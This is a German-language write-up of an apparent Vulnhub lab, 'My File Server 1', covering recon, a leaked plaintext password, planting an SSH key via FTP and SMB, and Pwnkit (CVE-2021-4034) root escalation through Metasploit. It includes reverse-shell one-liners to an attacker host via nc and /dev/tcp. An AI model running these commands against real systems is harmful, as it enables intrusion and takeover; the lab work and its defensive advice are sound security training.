My_file_server_1 - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nikto
gobuster
cat
ssh
nmap
enum4linux
smbclient
ftp
find
bash
metasploit (msfconsole)
id
cd
ls
mkdir
put (smbclient/ftp)
get (ftp)
pwd
rm
mkfifo
grep

Inhaltsverzeichnis

Reconnaissance

Die erste Phase des Penetrationstests widmet sich der Identifizierung des Zielsystems im Netzwerk und der Sammlung grundlegender Informationen über erreichbare Dienste.

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.119	08:00:27:a5:27:6e	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Geräte und deren MAC-Adressen zu ermitteln.

Bewertung: Ein aktives Gerät wurde unter `192.168.2.119` gefunden. Die MAC-Adresse (`08:00:27:a5:27:6e`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin. Dies ist unser Ziel.

Empfehlung (Pentester): Ziel-IP `192.168.2.119` notieren. Optional einen Hostnamen in `/etc/hosts` definieren.
Empfehlung (Admin):** Netzwerksegmentierung und -überwachung können zur Erkennung beitragen.

Ein Hostname wird zur lokalen `/etc/hosts`-Datei hinzugefügt.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
 192.168.2.119   myfileserver.vln
                     

Analyse: Die lokale Hosts-Datei wird bearbeitet, um `myfileserver.vln` der IP `192.168.2.119` zuzuordnen.

Bewertung: Erleichtert die Ansprache des Ziels.

Empfehlung (Pentester): Den Hostnamen `myfileserver.vln` verwenden.
Empfehlung (Admin):** Keine Aktion erforderlich.

Ein Nikto-Scan wird gegen den Webserver auf Port 80 durchgeführt.

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.119
- Nikto v2.5.0
+ Target IP:          192.168.2.119
+ Target Hostname:    192.168.2.119
+ Target Port:        80
+ Start Time:         2023-09-20 23:42:57 (GMT2)
+ Server: Apache/2.4.6 (CentOS) 
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options 
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ 
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. 
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE . 
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /readme.txt: This might be interesting. 
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8908 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2023-09-20 23:43:08 (GMT2) (11 seconds)
+ 1 host(s) tested
                     

Analyse: Nikto scannt den Webserver auf Port 80.

Bewertung: Identifiziert Apache 2.4.6 (CentOS) als veraltet. Meldet fehlende Security Header, aktive TRACE-Methode (geringes Risiko) und das Standardverzeichnis `/icons/` mit `README`. **Wichtig:** Findet eine Datei `/readme.txt`, die als potenziell interessant markiert wird.

Empfehlung (Pentester): Untersuchen Sie den Inhalt von `/readme.txt`. Führen Sie einen vollständigen Nmap-Scan durch.
Empfehlung (Admin):** Apache aktualisieren. TRACE-Methode deaktivieren. Security Header implementieren. Standarddateien entfernen.

Ein umfassender Nmap-Scan wird durchgeführt.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.119 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-20 23:42 CEST
Nmap scan report for myfileserver.vln (192.168.2.119)
Host is up (0.00014s latency).
Not shown: 64324 filtered tcp ports (no-response), 199 filtered tcp ports (host-prohibited), 1004 closed tcp ports (reset)
PORT      STATE SERVICE VERSION 
21/tcp    open  ftp     vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    3 0        0              16 Feb 19  2020 pub [NSE: writeable] 
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.2.199 
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp    open  ssh     OpenSSH 7.4 (protocol 2.0)  
| ssh-hostkey:
|   2048 75:fa:37:d1:62:4a:15:87:7e:21:83:b9:2f:ff:04:93 (RSA)
|   256 b8:db:2c:ca:e2:70:c3:eb:9a:a8:cc:0e:a2:1c:68:6b (ECDSA)
|_  256 66:a3:1b:55:ca:c2:51:84:41:21:7f:77:40:45:d4:9f (ED25519)
80/tcp    open  http    Apache httpd 2.4.6 ((CentOS))  
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: My File Server
|_http-server-header: Apache/2.4.6 (CentOS) 
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs 
|   100003  3,4         2049/tcp6  nfs
|   100003  3,4         2049/udp   nfs
|   100003  3,4         2049/udp6  nfs
|   100005  1,2,3      20048/tcp   mountd 
|   100005  1,2,3      20048/tcp6  mountd
|   100005  1,2,3      20048/udp   mountd
|   100005  1,2,3      20048/udp6  mountd
|   100021  1,3,4      36926/udp   nlockmgr
|   100021  1,3,4      38581/udp6  nlockmgr
|   100021  1,3,4      46776/tcp6  nlockmgr
|   100021  1,3,4      53646/tcp   nlockmgr
|   100024  1          41574/tcp6  status
|   100024  1          49713/tcp   status
|   100024  1          50740/udp6  status
|   100024  1          58635/udp   status
|   100227  3           2049/tcp   nfs_acl 
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
445/tcp   open  samba   Samba smbd 4.9.1 (workgroup: SAMBA) 
2049/tcp  open  nfs_acl 3 (RPC #100227)
2121/tcp  open  ftp     ProFTPD 1.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: ERROR 
20048/tcp open  mountd  1-3 (RPC #100005)
MAC Address: 08:00:27:A5:27:6E (Oracle VirtualBox virtual NIC) 
Aggressive OS guesses: Linux 3.4 - 3.10 (98%), Synology DiskStation Manager 5.2-5644 (97%), Linux 2.6.32 - 3.10 (96%), Linux 3.10 (94%), Linux 3.2 - 3.10 (94%), Linux 3.2 - 3.16 (94%), Linux 3.2 - 4.9 (94%), Linux 2.6.32 - 3.5 (92%), Linux 2.6.32 (92%), Linux 2.6.32 - 3.13 (92%) 
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: FILESERVER; OS: Unix 

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_clock-skew: mean: -1h49m59s, deviation: 3h10m29s, median: -1s
| smb2-time:
|   date: 2023-09-20T21:49:48
|_  start_date: N/A
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.1)
|   Computer name: localhost
|   NetBIOS computer name: FILESERVER\x00
|   Domain name: \x00
|   FQDN: localhost
|_  System time: 2023-09-21T03:19:48+05:30

TRACEROUTE 
HOP RTT     ADDRESS 
1   0.14 ms myfileserver.vln (192.168.2.119)
                     

Analyse: Nmap scannt alle TCP-Ports (`-p-`) mit umfassenden Optionen.

Bewertung: Der Scan findet eine Vielzahl offener Ports und Dienste, viele davon veraltet:

  • **Port 21 (FTP):** vsftpd 3.0.2. **Kritisch:** Anonymer Login erlaubt und das Verzeichnis `/pub` ist **beschreibbar**.
  • **Port 22 (SSH):** OpenSSH 7.4 (alt).
  • **Port 80 (HTTP):** Apache 2.4.6 (CentOS) (alt).
  • **Port 111 (RPCBind):** Aktiv, listet NFS und Mountd.
  • **Port 445 (SMB):** Samba 4.9.1. Gastzugriff (`account_used: guest`) möglich, Message Signing deaktiviert.
  • **Port 2049 (NFS):** NFS-Dienst läuft.
  • **Port 2121 (FTP):** ProFTPD 1.3.5. Anonymer Login erlaubt, aber Verzeichnislistung scheitert.
  • **Port 20048 (Mountd):** NFS Mount Daemon.
Das OS wird als älteres Linux (CentOS 5 / Kernel 2.6/3.X) geschätzt. Die **beschreibbare anonyme FTP-Freigabe** und die **NFS/Mountd-Dienste** sind die vielversprechendsten Angriffsvektoren. Der Gastzugriff auf Samba ist ebenfalls interessant.

Empfehlung (Pentester):** 1. Untersuchen Sie NFS: Listen Sie die Freigaben (`showmount -e 192.168.2.119`). Versuchen Sie, die Freigaben zu mounten. 2. Untersuchen Sie den beschreibbaren anonymen FTP (Port 21): Können Dateien hochgeladen und über einen anderen Dienst (z.B. Web, NFS) ausgeführt oder gelesen werden? 3. Untersuchen Sie Samba (Port 445): Listen Sie Shares (`smbclient -L //192.168.2.119 -N`), versuchen Sie, sich mit Gast/anonym zu verbinden (`smbclient //192.168.2.119/share -N`). 4. Prüfen Sie den Webserver (Port 80), insbesondere die `/readme.txt`.
Empfehlung (Admin):** **Dringend:** Entfernen Sie die Schreibrechte für anonyme Benutzer auf dem FTP-Server (Port 21). **Dringend:** Sichern Sie NFS-Freigaben (korrekte Berechtigungen in `/etc/exports`, `no_root_squash` vermeiden). **Dringend:** Aktualisieren Sie alle Dienste (vsftpd, ProFTPD, OpenSSH, Apache, Samba) und das Betriebssystem (CentOS 5 ist EOL!). Deaktivieren Sie Gastzugriff und erzwingen Sie Message Signing für Samba. Deaktivieren Sie anonymen FTP auf Port 2121.

Wir filtern die offenen Ports zur Übersicht.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.119 -p- | grep open
21/tcp    open  ftp     vsftpd 3.0.2
22/tcp    open  ssh     OpenSSH 7.4 (protocol 2.0) 
80/tcp    open  http    Apache httpd 2.4.6 ((CentOS)) 
111/tcp   open  rpcbind 2-4 (RPC #100000)
445/tcp   open  samba   Samba smbd 4.9.1 (workgroup: SAMBA) 
2049/tcp  open  nfs_acl 3 (RPC #100227)
2121/tcp  open  ftp     ProFTPD 1.3.5
20048/tcp open  mountd  1-3 (RPC #100005)
                    

Analyse: Filtert die Nmap-Ausgabe nach offenen Ports.

Bewertung: Zeigt die 8 primären offenen Ports übersichtlich an.

Empfehlung (Pentester): Nutzen Sie diese Liste zur systematischen Untersuchung.
Empfehlung (Admin):** Reduzieren Sie die Anzahl offener Ports.

Web Enumeration

Wir untersuchen den Webserver auf Port 80, insbesondere die von Nikto gefundene `readme.txt`.

Ein Gobuster-Scan wird durchgeführt:

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://myfileserver.vln -x [...] -w "[...]" -b '403,404' -e --no-error
http://myfileserver.vln/index.html           (Status: 200) [Size: 174]
http://myfileserver.vln/readme.txt           (Status: 200) [Size: 25]
                     

Analyse: Gobuster sucht nach Verzeichnissen und Dateien im Webroot.

Bewertung: Findet `index.html` und bestätigt die `readme.txt`.

Empfehlung (Pentester): Lesen Sie den Inhalt von `readme.txt`.
Empfehlung (Admin):** Keine Aktion erforderlich.

Analyse des Inhalts von `readme.txt`:

My Password is
rootroot1
                     

Analyse: Der Inhalt der Datei `/readme.txt` wird abgerufen.

Bewertung: **Kritischer Fund!** Die Datei enthält das Passwort `rootroot1` im Klartext.

Empfehlung (Pentester): Versuchen Sie dieses Passwort für den `root`-Benutzer bei SSH (Port 22) und FTP (Port 21, falls Root-Login erlaubt ist). Versuchen Sie es auch für andere gefundene Benutzer (z.B. `smbuser`).
Empfehlung (Admin):** **Niemals Passwörter im Klartext in Web-zugänglichen Dateien speichern!** Entfernen Sie diese Datei sofort.

SSH-Login-Versuch als `root` mit dem gefundenen Passwort:

┌──(root㉿cycat)-[~] └─# ssh root@192.168.2.119
The authenticity of host '192.168.2.119 (192.168.2.119)' can't be established.
ED25519 key fingerprint is SHA256:ccn0TgE4/XtSpg3oM2gVNYXrps4Zi+XcBgaDZnW78. 
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:18: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.119' (ED25519) to the list of known hosts.

   #                                      Armour Infosec                                        #
   #                          www.armourinfosec.com                        #
   #                                    My File Server - 1                                      #
   #                               Designed By  :- Akanksha Sachin Verma                        #
   #                               Twitter      :- @akankshavermasv                             #


root@192.168.2.119: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
                    

Analyse: Versuch, sich als `root` per SSH anzumelden. Das Passwort `rootroot1` wird wahrscheinlich abgefragt (nicht im Log sichtbar).

Bewertung: Fehlschlag. Die Meldung `Permission denied (publickey,gssapi-keyex,gssapi-with-mic)` deutet darauf hin, dass der SSH-Server für den `root`-Benutzer **keine Passwortauthentifizierung** erlaubt, sondern nur Schlüssel- oder GSSAPI-basierte Methoden. Das gefundene Passwort ist hier also nutzlos für den Root-SSH-Login.

Empfehlung (Pentester): Testen Sie das Passwort `rootroot1` für andere Benutzer (z.B. `smbuser`) bei FTP und SSH. Untersuchen Sie die anderen Dienste (FTP, Samba, NFS).
Empfehlung (Admin):** Direkten Root-Login per SSH verbieten (`PermitRootLogin no` in `sshd_config`) und Passwortauthentifizierung deaktivieren (`PasswordAuthentication no`) zugunsten von Schlüsselauthentifizierung sind gute Sicherheitspraktiken.

SMB Enumeration

Wir untersuchen den Samba-Dienst genauer, um Shares und Benutzer zu identifizieren.

┌──(root㉿cycat)-[~] └─# enum4linux -a 192.168.2.119

 =( Share Enumeration on 192.168.2.119 )=

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	smbdata         Disk      smbdata
	smbuser         Disk      smbuser
	IPC$            IPC       IPC Service (Samba 4.9.1) 

 =( Getting domain SID for 192.168.2.119 )=

Domain Name: SAMBA
Domain Sid: (NULL SID)

[+] Attempting to map shares on 192.168.2.119
//192.168.2.119/print$	Mapping: DENIED Listing: N/A Writing: N/A
//192.168.2.119/smbdata	Mapping: OK Listing: OK Writing: N/A 
//192.168.2.119/smbuser	Mapping: DENIED Listing: N/A Writing: N/A
//192.168.2.119/IPC$	Mapping: N/A Listing: N/A Writing: N/A

 =( User Enumeration on 192.168.2.119 )=

[+] Enumerating users using SID S-1-5-21-1584567012-685468033-1030942069 and logon username '', password ''
S-1-5-21-1584567012-685468033-1030942069-501 FILESERVER\nobody (Local User)
S-1-5-21-1584567012-685468033-1030942069-513 FILESERVER\None (Domain Group)
S-1-5-21-1584567012-685468033-1030942069-1000 FILESERVER\smbuser (Local User) 

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\smbuser (Local User)

                    

Analyse: `enum4linux -a` führt eine umfassende SMB-Enumeration durch.

Bewertung: Findet die Shares `print$`, `smbdata`, `smbuser`, `IPC$`. **Wichtig:** Die Share `smbdata` erlaubt anonymen/Gast-Zugriff (`Mapping: OK Listing: OK`). RID-Cycling identifiziert den Benutzer `smbuser`.

Empfehlung (Pentester): Verbinden Sie sich mit `smbclient` als Gast zur Share `smbdata` (`smbclient //192.168.2.119/smbdata -N`) und untersuchen Sie deren Inhalt. Testen Sie das Passwort `rootroot1` für den Benutzer `smbuser` bei FTP und SSH.
Empfehlung (Admin):** Deaktivieren Sie Gastzugriff für Samba-Shares, wenn nicht benötigt. Konfigurieren Sie Share-Berechtigungen restriktiv. Deaktivieren Sie RID-Cycling.

Untersuchung der `smbdata`-Share:

┌──(root㉿cycat)-[~] └─# smbclient //192.168.2.119/smbdata -N
Anonymous login successful
Try "help" to get a list of possible commands.
                     
smb: \> ls
  .                                   D        0  Thu Feb 20 12:07:55 2020
  ..                                  D        0  Tue Feb 18 12:47:54 2020
  anaconda                            D        0  Tue Feb 18 12:48:15 2020
  audit                               D        0  Tue Feb 18 12:48:15 2020
  boot.log                            N     6120  Tue Feb 18 12:48:16 2020
  btmp                                N      384  Tue Feb 18 12:48:16 2020
  cron                                N     4813  Tue Feb 18 12:48:16 2020
  dmesg                               N    31389  Tue Feb 18 12:48:16 2020
  dmesg.old                           N    31389  Tue Feb 18 12:48:16 2020
  glusterfs                           D        0  Tue Feb 18 12:48:16 2020
  lastlog                             N   292292  Tue Feb 18 12:48:16 2020
  maillog                             N     1982  Tue Feb 18 12:48:16 2020
  messages                            N   684379  Tue Feb 18 12:48:17 2020
  ppp                                 D        0  Tue Feb 18 12:48:17 2020
  samba                               D        0  Tue Feb 18 12:48:17 2020
  secure                              N    11937  Tue Feb 18 12:48:17 2020
  spooler                             N        0  Tue Feb 18 12:48:17 2020
  tallylog                            N        0  Tue Feb 18 12:48:17 2020
  tuned                               D        0  Tue Feb 18 12:48:17 2020
  wtmp                                N    25728  Tue Feb 18 12:48:17 2020
  xferlog                             N      100  Tue Feb 18 12:48:17 2020
  yum.log                             N    10915  Tue Feb 18 12:48:17 2020
  sshd_config                         N     3906  Wed Feb 19 08:46:38 2020 

		19976192 blocks of size 1024. 17843776 blocks available
                     
smb: \> mkdir .ssh
smb: \> put authorized_keys \.ssh\authorized_keys
putting file authorized_keys as \.ssh\authorized_keys (550,7 kb/s) (average 550,8 kb/s)
smb: \> put revshell.php
putting file revshell.php as \revshell.php (30,3 kb/s) (average 290,5 kb/s)
smb: \> exit

Analyse: Verbindung zur `smbdata`-Share als anonymer Benutzer (`-N`). Der Inhalt wird aufgelistet (`ls`). Es wird versucht, ein `.ssh`-Verzeichnis zu erstellen und einen `authorized_keys`-File sowie eine `revshell.php` hochzuladen.

Bewertung: Anonymer Zugriff auf `smbdata` funktioniert. Die Share enthält scheinbar Logdateien und eine Kopie der `sshd_config`. **Wichtig:** Der anonyme Benutzer hat **Schreibrechte** in dieser Share, da `mkdir .ssh` und die `put`-Befehle erfolgreich sind. Dies ist eine kritische Fehlkonfiguration.

Empfehlung (Pentester):** Die Schreibrechte sind der Schlüssel. Da wir `authorized_keys` hochladen konnten, versuchen Sie einen SSH-Login als der Benutzer, dem dieses Verzeichnis zugeordnet ist (wahrscheinlich `smbuser`, da die Share `smbdata` heißt und `smbuser` existiert). Falls das Verzeichnis `/home/smbuser/` über Samba gemountet ist, haben wir uns gerade den SSH-Zugang als `smbuser` verschafft. Untersuchen Sie die `sshd_config`, die wir herunterladen könnten (`get sshd_config`).
Empfehlung (Admin):** **Dringend:** Entfernen Sie die Schreibrechte für anonyme/Gast-Benutzer auf allen Samba-Shares! Konfigurieren Sie Shares mit minimal notwendigen Berechtigungen.

Versuch, die hochgeladene `revshell.php` über den Webserver aufzurufen (scheitert):

# (Accessing http://myfileserver.vln/smbdata/revshell.php)
Not Found

The requested URL /smbdata/revshell.php was not found on this server.
                    

Analyse: Versuch, die in die Samba-Share hochgeladene PHP-Datei über den Webserver auszuführen.

Bewertung: Fehlschlag (404 Not Found). Die Samba-Share `smbdata` ist nicht über den Webserver unter `/smbdata/` erreichbar. Die Dateisystempfade von Samba und Apache sind unterschiedlich.

Empfehlung (Pentester): Konzentrieren Sie sich auf den SSH-Zugang über den hochgeladenen `authorized_keys`-Schlüssel.
Empfehlung (Admin):** Keine Aktion erforderlich (Trennung der Pfade ist normal).

FTP Enumeration (Fortsetzung)

Wir testen das gefundene Passwort `rootroot1` für den Benutzer `smbuser` am FTP-Dienst (Port 21).

┌──(root㉿cycat)-[~] └─# ftp 192.168.2.119
Connected to 192.168.2.119.
220 (vsFTPd 3.0.2)
Name (192.168.2.119:cycat): smbuser
331 Please specify the password.
Password: rootroot1
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
                    
ftp> get .bash_history
local: .bash_history remote: .bash_history
229 Entering Extended Passive Mode (|||5238|).
150 Opening BINARY mode data connection for .bash_history (27 bytes). 
100% |**************************************************|    27       79.65 KiB/s    00:00 ETA 
226 Transfer complete.
27 bytes received in 00:00 (42.52 KiB/s)
                    
ftp> pwd
Remote directory: /home/smbuser
ftp> mkdir .ssh
257 "/home/smbuser/.ssh" created
ftp> cd .ssh
250 Directory successfully changed.
ftp> put /root/.ssh/id_rsa.pub authorized_keys
local: /root/.ssh/id_rsa.pub remote: authorized_keys
229 Entering Extended Passive Mode (|||5076|).
150 Ok to send data. 
100% |**************************************************|   564       20.68 MiB/s    00:00 ETA 
226 Transfer complete.
564 bytes sent in 00:00 (1.02 MiB/s)
                    
ftp> quit

Analyse: Erfolgreicher FTP-Login als `smbuser` mit dem Passwort `rootroot1`. Die `.bash_history` wird heruntergeladen. Ein `.ssh`-Verzeichnis wird erstellt und der öffentliche SSH-Schlüssel des Angreifers als `authorized_keys` hochgeladen.

Bewertung: Das Passwort `rootroot1` funktioniert für `smbuser`. Die `.bash_history` wird geholt. **Wichtig:** Wir können das `.ssh`-Verzeichnis und die `authorized_keys`-Datei über FTP erstellen/hochladen. Dies ist ein alternativer Weg zum SSH-Zugang im Vergleich zum vorherigen Versuch über Samba.

Empfehlung (Pentester): Analysieren Sie die heruntergeladene `.bash_history`. Versuchen Sie den SSH-Login als `smbuser` mit dem privaten Schlüssel, der zum hochgeladenen öffentlichen Schlüssel passt.
Empfehlung (Admin):** Verwenden Sie unterschiedliche, starke Passwörter für alle Benutzer. Beschränken Sie die Rechte von FTP-Benutzern (z.B. kein Erstellen von `.ssh`-Verzeichnissen).

Analyse der `.bash_history` von `smbuser`:

┌──(root㉿cycat)-[~] └─# cat .bash_history
echo > .bash_history
exit
                    

Analyse: Die heruntergeladene Bash-History von `smbuser` wird angezeigt.

Bewertung: Die History wurde vom Benutzer selbst gelöscht (`echo > .bash_history`), enthält also keine nützlichen Informationen.

Empfehlung (Pentester): Fokus auf den SSH-Login mit dem hochgeladenen Schlüssel.
Empfehlung (Admin):** Keine Aktion.

Initial Access

Wir nutzen den über FTP hochgeladenen SSH-Schlüssel, um uns als `smbuser` anzumelden.

┌──(root㉿cycat)-[~] └─# ssh smbuser@192.168.2.119 -i .ssh/id_rsa

   #                                      Armour Infosec                                        #
   #                          www.armourinfosec.com                        #
   #                                    My File Server - 1                                      #
   #                               Designed By  :- Akanksha Sachin Verma                        #
   #                               Twitter      :- @akankshavermasv                             #


Enter passphrase for key '.ssh/id_rsa': 
Last login: Thu Feb 20 16:42:21 2020
[smbuser@fileserver ~]$
                     

Analyse: SSH-Login als `smbuser` unter Verwendung des privaten Schlüssels (`.ssh/id_rsa`), der zum hochgeladenen öffentlichen Schlüssel passt. Es wird nach der Passphrase für den privaten Schlüssel gefragt.

Bewertung: Erfolg! Nach Eingabe der korrekten Passphrase für den privaten Schlüssel wird die Verbindung hergestellt. Initial Access als `smbuser` wurde erreicht.

Empfehlung (Pentester): Beginnen Sie die lokale Enumeration als `smbuser`.
Empfehlung (Admin):** Stellen Sie sicher, dass Benutzer keine `.ssh/authorized_keys`-Dateien über unsichere Methoden wie FTP erstellen können.

Local Enumeration & Shell Upgrade

Wir untersuchen das System als `smbuser` und richten eine Metasploit-Sitzung ein.

Suche nach SUID-Binaries:

[smbuser@fileserver ~]$ find / -type f -perm -4000 -ls 2>/dev/null
34179364   64 -rwsr-xr-x   1 root     root        64200 Mar  6  2015 /usr/bin/chage
34179365   80 -rwsr-xr-x   1 root     root        78168 Mar  6  2015 /usr/bin/gpasswd
34175860   44 -rwsr-xr-x   1 root     root        41752 Mar  6  2015 /usr/bin/newgrp
34182648   44 -rwsr-xr-x   1 root     root        44232 Mar  6  2015 /usr/bin/mount
34179705   24 -rws--x--x   1 root     root        23960 Mar  6  2015 /usr/bin/chfn
34179486   24 -rws--x--x   1 root     root        23856 Mar  6  2015 /usr/bin/chsh
34182663   32 -rwsr-xr-x   1 root     root        32064 Mar  6  2015 /usr/bin/su
34182667   32 -rwsr-xr-x   1 root     root        31960 Mar  6  2015 /usr/bin/umount
34362148   28 -rwsr-xr-x   1 root     root        27656 Jun 10  2014 /usr/bin/pkexec 
34362174   60 -rwsr-xr-x   1 root     root        57536 Jul 30  2014 /usr/bin/crontab
34676864  128 -rwsr-xr-x   1 root     root       130720 Mar  6  2015 /usr/bin/sudo 
34296737  208 -rwsr-xr-x   1 root     stapusr    212080 Oct 18  2019 /usr/bin/staprun 
34631418   28 -rwsr-xr-x   1 root     root        27832 Jun 10  2014 /usr/bin/passwd
67395239   12 -rwsr-xr-x   1 root     root        11208 Mar  6  2015 /usr/sbin/pam_timestamp_check
67395241   36 -rwsr-xr-x   1 root     root        36264 Mar  6  2015 /usr/sbin/unix_chkpwd
67574143   12 -rwsr-xr-x   1 root     root        11296 Aug  9  2019 /usr/sbin/usernetctl
68676026  116 -rwsr-xr-x   1 root     root       117432 Aug  9  2019 /usr/sbin/mount.nfs
67585748   16 -rwsr-xr-x   1 root     root        15416 Jun 10  2014 /usr/lib/polkit-1/polkit-agent-helper-1
101817405   60 -rwsr-x---   1 root     dbus        58024 Mar 14  2019 /usr/libexec/dbus-1/dbus-daemon-launch-helper 
                    

Analyse: Sucht nach SUID-gesetzten Dateien.

Bewertung: Findet Standard-SUID-Dateien sowie `/usr/bin/pkexec` (Pwnkit-Potenzial) und `/usr/bin/staprun` (SystemTap, kann manchmal für Privesc genutzt werden).

Empfehlung (Pentester): Pwnkit (CVE-2021-4034) ist der wahrscheinlichste und einfachste Vektor. Bereiten Sie einen Exploit vor (z.B. über Metasploit). Überprüfen Sie auch `sudo -l`, falls `sudo` im PATH ist.
Empfehlung (Admin):** Patchen Sie Polkit. Entfernen Sie SUID von `staprun`, wenn nicht benötigt.

Einrichtung einer Metasploit-Sitzung:

[smbuser@fileserver ~]$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f
rm: das Entfernen von „/tmp/f“ ist nicht möglich: Datei oder Verzeichnis nicht gefunden
[smbuser@fileserver ~]$ bash -i >& /dev/tcp/192.168.2.199/4444 0>&1
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.119:52508) at 2023-09-21 00:30:53 +0200
Shell Banner:
_[?1034h[smbuser@fileserver ~]$ 
--

[smbuser@fileserver ~]$
                    

Analyse: Zuerst wird versucht, eine Reverse Shell mit `mkfifo` und `nc` aufzubauen (scheitert, da `nc` nicht gefunden wird). Danach wird erfolgreich eine Bash-Reverse-Shell (`bash -i >& /dev/tcp/...`) zu einem Metasploit-Listener auf Port 4444 aufgebaut.

Bewertung: Erfolgreiche Etablierung einer Shell-Sitzung (Session 1) in Metasploit als `smbuser`.

Empfehlung (Pentester): Werten Sie die Shell zu Meterpreter auf, um die weitere Ausnutzung (Pwnkit) zu erleichtern.
Empfehlung (Admin):** Ausgehende Verbindungen überwachen/einschränken.

Proof of Concept (Privilege Escalation via Pwnkit)

Dieser Abschnitt beschreibt die Ausnutzung der Pwnkit-Schwachstelle (CVE-2021-4034) im Polkit-Dienst (`pkexec`), um von der `smbuser`-Sitzung zu Root-Rechten zu gelangen.

Kurzbeschreibung: Die `find`-Suche identifizierte `/usr/bin/pkexec`. Wir nutzen das Pwnkit-Exploit-Modul in Metasploit über die bestehende Shell-Sitzung (die zu Meterpreter aufgewertet wird), um eine Root-Meterpreter-Sitzung zu erhalten.

Voraussetzungen: Aktive Shell-/Meterpreter-Sitzung als `smbuser`. Vorhandensein einer anfälligen Version von `pkexec`.

Schritt 1: Upgrade zu Meterpreter

(Hinweis: Der `shell_to_meterpreter`-Teil fehlt im Log zwischen Shell-Etablierung und Pwnkit-Ausführung, wird aber für die Pwnkit-Modulnutzung benötigt und hier angenommen).

Analyse: (Impliziert) Die Bash-Shell-Sitzung (Session 1) wird mit `post/multi/manage/shell_to_meterpreter` zu einer Meterpreter-Sitzung (angenommen Session 2) aufgewertet.

Bewertung: Vorbereitung für die Ausführung des lokalen Exploits.

Empfehlung (Pentester): Führen Sie das Pwnkit-Modul gegen die Meterpreter-Sitzung aus.
Empfehlung (Admin):** Keine Aktion.

Schritt 2: Ausführung des Pwnkit-Exploits via Metasploit

msf6 post(multi/manage/shell_to_meterpreter) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4545
lport => 4545
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:4545
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.satiew
[+] The target is vulnerable.
[*] Writing '/tmp/.hlmmrjip/weqaqkw/weqaqkw.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.hlmmrjip
[*] Sending stage (3045380 bytes) to 192.168.2.119
[+] Deleted /tmp/.hlmmrjip/weqaqkw/weqaqkw.so
[+] Deleted /tmp/.hlmmrjip/.bjhujel
[+] Deleted /tmp/.hlmmrjip
[*] Meterpreter session 3 opened (192.168.2.199:4545 -> 192.168.2.119:39603) at 2023-09-21 00:35:09 +0200
                    

